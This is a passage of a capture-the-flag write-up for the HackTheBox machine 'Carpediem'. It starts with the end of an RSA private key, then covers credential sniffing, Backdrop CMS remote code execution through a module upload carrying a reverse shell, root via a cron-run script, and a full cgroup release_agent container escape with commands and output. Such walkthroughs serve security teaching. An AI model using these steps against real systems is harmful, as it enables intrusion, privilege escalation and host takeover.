E3mWkirhDt1NspCOkjxNd8vnurGMcrWstTM58WjUgpZuW9QOFYyVq0fCxZ+vkJYT
jFBWgVwLOyqy6sGuFYw5kFwXdIBtAJYBAxHWKT2EgAGa6BOb/nRwkUIlQHThVWmL
bfi/vyECgYEA+EEYYdvEbN8nuqaFWmz0ADPEOBMtXhjQVeYqm9lWFSvT9L0PME52
Ffvok/URAUtKCFpg1LqHwcv9Y9oLS2RfyaArNeGuZJu5+ZALEBlb7FW5FGdtmZvH
PgOFOvz3WjoAoVmFe8Fev/udkaHws1FSI6msjY0qNffIlguEfi33Xr0CgYEA8oNP
TKZv9jVqseQ6CjWghlHhdhnhWjgMueev2QAxsaIeHzP6YBY3GN2XKJfxidR+zTv5
oTD/+sfrM3hKOX/n4e1QGNn+PI2OFZNXuKrZc+8HuDp98RDos+7UwISv9u29rUhu
KHp/NWC/FJOdxmb04jnE89syJzGU/woTSzi22QkCgYA3dNMtiRpn97G4UFqZyJz5
Lpc2r5IC4ygnCDOcfQBt2kyO72zlLaHTZ2KdKrGRyG/RTd8zpjeNYzRHif3b6aA8
Ojts3e1HLEJvLW5LOl7+fGfL1w70sYfgooiwlLHsxeg+IvFeo+O2n06jqblLVW8z
6ENTm6VCSQfV/NysEzifQQKBgQDqJXXvH9OB+FknoJ+ZM+XlSjFRgfNe1DcVV2kl
L1bLlydWIS1gkJJp46kKfIms9gnnxjxjMZg1XcjtTPr9QU11iVeIZxFdDZ9dnYFY
vzxs/yCI85CdrCHBeJrZtkLfOvOj1wbk9kDUHLDhARWYddeChRxwBfcKeIjPJb8z
JXMFYQKBgQDHC5gQNdaS/nzcRmEVwIUyurgcP3Bu0QafgwxAp4fwJQGfQuHy0oco
kUKVtDiTR1mEXPJLxvCz4GSlrdf2AnC6jflbKnORIU/FPkJbfNa4DxThf3C/kubw
PPvRvm79Ovkile2SJ0hRxREDc3/34oTxc6oNqV59srggu+gkRD0CiQ==
-----END RSA PRIVATE KEY-----
hflaccus@carpediem:~$

This made me think there may be some automatic network traffic going on and we were given the key to decrypt the packets, so I fired up tcpdump on the docker0 interface and inspected the traffic with wireshark, importing the RSA key in edit/preferences/RSA keys.

And there it is, we now have a valid login for the backdrop subdomain (as the credentials don't work for anything else from what I tried). However, the web application is running internally, so we again have to leverage chisel to construct a reverse tunnel, but this time forwarding the requests to localhost instead of another container. After logging in with the sniffed credentials, we are greeted with Backdrop CMS as administrators.

With a simple search, I found this CMS is vulnerable to RCE as per this post, so let's try it.

By default, the PoC uses a simple php passthrough with cmd parameter, but I ended up changing it to the pentestmonkey php reverse shell again.

To correctly execute it:

  • Download reference.tar from the github repo and change shell.php for your reverse shell.
  • Go to "Add new modules for more functionality"
  • Go to "Manual installation" and choose to "Upload a module"
  • Upload it and go to "https://backdrop.carpediem.htb:8002/modules/reference/shell.php"
  • If you had opened a listening netcat service before, you should get a reverse shell now.
  • ┌──(max1337)-[~/carpediem]
    └─$ nc -lvp 1337
    listening on [any] 1337 ...
    connect to [10.10.16.3] from carpediem.htb [10.129.93.118] 41424
    Linux 90c7f522b842 5.4.0-97-generic #110-Ubuntu SMP Thu Jan 13 18:22:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
     21:12:38 up 20:00,  0 users,  load average: 0.16, 0.24, 0.20
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: cant access tty; job control turned off
    $ python3 -c "import pty;pty.spawn('/bin/bash')"
    /bin/sh: 1: python3: not found
    $ SHELL=/bin/bash script -q /dev/null
    www-data@90c7f522b842:/$ export TERM=xterm; export SHELL=/bin/bash
    export TERM=xterm; export SHELL=/bin/bash
    www-data@90c7f522b842:/$ ^Z
    zsh: suspended  nc -lvp 1337
                                                                                                                                                               
    ┌──(max1337)-[~/carpediem]
    └─$ stty raw -echo;fg
    
    [1]  + continued  nc -lvp 1337
    
    www-data@90c7f522b842:/$ stty rows 50 columns 200
    www-data@90c7f522b842:/$ ls
    bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
    www-data@90c7f522b842:/opt$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@90c7f522b842:/opt$ hostname -i
    172.17.0.2
    www-data@90c7f522b842:/opt$

    And we are in the container now, pspy shows that there is a cronjob that executes /opt/heartbeat.sh as root. So let's check it

    www-data@90c7f522b842:/$ cd /opt
    www-data@90c7f522b842:/opt$ ls
    heartbeat.sh
    www-data@90c7f522b842:/opt$ cat heartbeat.sh 
    #!/bin/bash
    #Run a site availability check every 10 seconds via cron
    checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
    if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
            exit
    fi
    status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
    grep "Welcome to backdrop.carpediem.htb!" "$status"
    if [[ "$?" != 0 ]]; then
            #something went wrong.  restoring from backup.
            cp /root/index.php /var/www/html/backdrop/index.php
    fi
    www-data@90c7f522b842:/opt$

    Well, that looks really easy to escalate privileges, just upload a reverse shell to /var/www/html/backdrop/index.php and root will automatically call it for you. For that I will be using pentestmonkey's again. Note that there is no vim or nano in the machine, so in my case I played with base64 decoding and encoding, but feel free to use any other method such as downloading a static vim or nano binary.

    Generating the payload in attacking machine
    ┌──(max1337)-[~/carpediem]
    └─$ cat reverse.php | base64 | tr -d "\n" | xclip
    Changin index.php in the victim machine
    www-data@90c7f522b842:/opt$ echo [payload] | base64 -d > /var/www/html/backdrop/index.php
    Attacking machine, getting root in the container
    ┌──(max1337)-[~]
    └─$ nc -lvp 1338
    listening on [any] 1338 ...
    connect to [10.10.16.3] from carpediem.htb [10.129.93.118] 57082
    Linux 90c7f522b842 5.4.0-97-generic #110-Ubuntu SMP Thu Jan 13 18:22:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
     21:24:46 up 20:12,  0 users,  load average: 0.12, 0.15, 0.17
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    uid=0(root) gid=0(root) groups=0(root)
    /bin/sh: 0: cant access tty; job control turned off
    # SHELL=/bin/bash script -q /dev/null
    root@90c7f522b842:/# export TERM=xterm; export SHELL=/bin/bash
    export TERM=xterm; export SHELL=/bin/bash
    root@90c7f522b842:/# ^Z
    zsh: suspended  nc -lvp 1338
                                                                                                                                                                                                                                                                                                                               
    ┌──(max1337)-[~]
    └─$ stty raw -echo;fg
    
    [1]  + continued  nc -lvp 1338
    
    root@90c7f522b842:/# stty rows 50 columns 200
    root@90c7f522b842:/# ls
    bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
    root@90c7f522b842:/# id
    uid=0(root) gid=0(root) groups=0(root)
    root@90c7f522b842:/# hostname -i
    172.17.0.2
    root@90c7f522b842:/#

    Now, after a bit more enumerating, looks like last step is escaping the container directly as root. For that, I will be using this article. First command already throws permission denied, however, executing "unshare -UrmC bash" will give you a new bash with full capabilities so that we can execute the PoC.

    root@90c7f522b842:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    mount: /tmp/cgrp: permission denied.
    root@90c7f522b842:/# unshare -UrmC bash
    root@90c7f522b842:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    mkdir: cannot create directory '/tmp/cgrp': File exists
    root@90c7f522b842:/# mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    root@90c7f522b842:/# echo 1 > /tmp/cgrp/x/notify_on_release
    root@90c7f522b842:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    root@90c7f522b842:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
    root@90c7f522b842:/# echo '#!/bin/sh' > /cmd
    root@90c7f522b842:/# echo "cat /root/root.txt > $host_path/output" >> /cmd
    root@90c7f522b842:/# chmod a+x /cmd
    root@90c7f522b842:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    root@90c7f522b842:/# ls
    bin  boot  cmd  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  output  proc  root  run  sbin  srv  sys  tmp  usr  var
    root@90c7f522b842:/# cat output 
    {redacted}
    root@90c7f522b842:/#

    Feel free to use the PoC to overwrite root's ssh keys or /etc/shadow in the host machine, but I will only use it to read the root flag.

    And that was it, quite a fun machine I'd say and I learned a lot about VoIP and container escapes.